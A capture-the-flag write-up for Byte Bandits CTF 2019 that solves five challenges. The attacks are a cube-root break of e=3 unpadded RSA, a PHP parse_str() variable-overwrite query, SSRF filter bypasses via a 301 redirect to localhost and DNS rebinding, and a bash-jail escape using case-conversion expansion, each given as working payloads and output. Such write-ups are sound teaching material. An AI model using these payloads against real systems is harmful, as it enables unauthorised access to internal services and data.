First part of writeups for the Byte Bandits CTF 2019.

RivestShamirAdleman

We are given the following data:

n = 22272129080562722886614022632205442705494455272860112814093083500097723366897651161029102178806468364810560145326674298943748926312059319333104024877629414355081997511170571841726554870330438449136414942769879449909945280622679982416961505259605748700527626064176345428348075666618966413358066674766244602120334405919054045097465042177827566762056612497539403392371174259602854649957161582616110665358774209954483243807893225011511670025850800717182535575577848500527430246259134071980979951803599863210705004134764027126983838884518704239682964897619030091789047630556807645411417077149617559860988186649846538955623
e = 3 
ciphertext = 56274920108122478990888092521371739605513959053322262229138771723654033167756128122086229722406180593128664696512912311575327724724695863345048713415525599333

It’s a basic RSA challenge with small public exponent (e=3) and lack of proper padding. Even though n is chosen from strong primes and it’s quite big, it is still possible to break it.

All we need to do is to compute the third root of C (ciphertext) to get the plaintext. Small python script will do the trick:

# https://stackoverflow.com/questions/15978781/how-to-find-integer-nth-roots
def iroot(k, n):
    u, s = n, n+1
    while u < s:
        s = u
        t = (k-1) * s + n // pow(s, k-1)
        u = t // k
    return s

c = 56274920108122478990888092521371739605513959053322262229138771723654033167756128122086229722406180593128664696512912311575327724724695863345048713415525599333

d = iroot(3,c)
print hex(d)[2:-1].decode("hex")

Let’s run it to get the flag:

[~]$ python2 solve.py
flag{nO_paDDing00_rsa}

We can also go with the quick win with the RsaCtfTool:

$ python2 RsaCtfTool.py -n 22272129080562722886614022632205442705494455272860112814093083500097723366897651161029102178806468364810560145326674298943748926312059319333104024877629414355081997511170571841726554870330438449136414942769879449909945280622679982416961505259605748700527626064176345428348075666618966413358066674766244602120334405919054045097465042177827566762056612497539403392371174259602854649957161582616110665358774209954483243807893225011511670025850800717182535575577848500527430246259134071980979951803599863210705004134764027126983838884518704239682964897619030091789047630556807645411417077149617559860988186649846538955623 -e 3 --uncipher 56274920108122478990888092521371739605513959053322262229138771723654033167756128122086229722406180593128664696512912311575327724724695863345048713415525599333
[+] Clear text : flag{nO_paDDing00_rsa}

EasyPHP

We are presented with the following source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$hashed_key = '79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
    $query = $parsed["query"];
    $parsed_query = parse_str($query);
    if($parsed_query!=NULL){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_GET["key"];
        $hashed_input = hash('sha256', $key);
        //echo $hashed_input.'\n';
        if($hashed_input!==$hashed_key){
            die("GTFO!");
        }

        echo file_get_contents("/flag");
    }
}else{
    show_source(__FILE__);
}
?>

The bug is on line 6, where user controlled variable is being run through parse_str() function:

$parsed_query = parse_str($query);

Regarding to the PHP manual: > parse_str - Parses the string into variables

Knowing that, we may assume that by controlling the query string we can set any variable. Let’s break it down.

[~]$ php -a
Interactive shell

php > $hashed_key = '79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
php > $query = "action=auth&key=aaa";
php > parse_str($query);
php > echo $action;
auth
php > echo $key;
aaa
php > $query = "action=auth&hashed_key=pwned";
php > parse_str($query);
php > echo $hashed_key;
pwned

The solve is trival, we need to pass valid key and its sha256 hash:

[~]$ echo -n test | sha256sum 
9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

Final query:

?action=auth&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08&key=test

flag:

flag{ezPz_pHp_0b9fd0f8}

Online Previewer 1

By visiting the chall url we can find something that seems to be the web proxy:

There is a hint in the html code:

Basically, we need to do SSRF to get the flag. Problem is that any reference to localhost is being filtered by the web app:

After trying quite a few payloads, such as transforming 127.0.0.1 into integer, injecting known bypasses such as 0://evil.com:80,google.com:80/ or trying some php filters; the results were not promising. Then I realised that since I can point that proxy anywhere, I could try to use the redirection (301,302).

I’ve spawned a php webserver and hosted simple piece of code:

<?php
header('Location: http://127.0.0.1:1337/', true, 301);
?>

Then I pointed the web proxy to my vps ip:

/tmp$ php -S 0.0.0.0:8080
PHP 7.0.33-0+deb9u3 Development Server started at Fri Apr 12 22:47:59 2019
Listening on http://0.0.0.0:8080
Document root is /tmp
Press Ctrl-C to quit.
[Fri Apr 12 22:50:03 2019] 35.154.144.251:58234 [301]: /

and..

Online Previewer 2

Additional checks were introduced into that level. I was trying a bit more sophisticated payloads or redirects but nothing worked.

After some time I found a similar challenge: list0r (web 400) from 33c3ctf. As it turned out, the challanges were very similar.

I’ve assigned two A records to my domain:

[~]$ dig [redacted].cc @8.8.8.8 A +short
[redacted]
127.0.0.1
[~]$ 

After few tryouts I was able to recover the flag:

Bash-fu

All commands are transformed into uppercase:

[~]$ nc -v 13.234.130.76 7002
Connection to 13.234.130.76 7002 port [tcp/afs3-prserver] succeeded!
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-4.4$ id
id
bash: ID: command not found
bash-4.4$ /???/???
/???/???
bash: /???/???: No such file or directory

It was possible to bypass the restrictions by using bash builtin string transformations:

bash-4.4$ a="id"; ${a,,}
a="id"; ${a,,}
uid=100(convict) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-4.4$ a="ls -la /jail"; ${a,,}
a="ls -la /jail"; ${a,,}
total 16
drwxr-xr-x    1 root     root          4096 Apr 13 03:22 .
drwxr-xr-x    1 root     root          4096 Apr 13 03:23 ..
-rw-r--r--    1 root     root            32 Apr 11 21:32 flag.txt
-rwxrwxrwx    1 root     root           466 Apr 12 16:45 jail
bash-4.4$ a="cat /jail/flag.txt"; ${a,,}
a="cat /jail/flag.txt"; ${a,,}
flag{b@$h_jails_are_3asy_p3@sy}